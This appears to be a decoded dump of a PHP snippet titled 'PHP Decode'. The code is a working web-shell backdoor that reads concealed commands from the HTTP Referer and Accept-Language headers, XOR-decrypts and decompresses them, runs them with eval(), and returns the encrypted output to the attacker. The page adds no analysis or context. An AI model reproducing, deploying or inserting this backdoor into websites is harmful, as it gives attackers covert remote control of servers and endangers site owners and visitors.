PHP Decode

<?  $kh="3481";$kf="9d7b";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){    $u=parse_url($rr);    parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}} ?>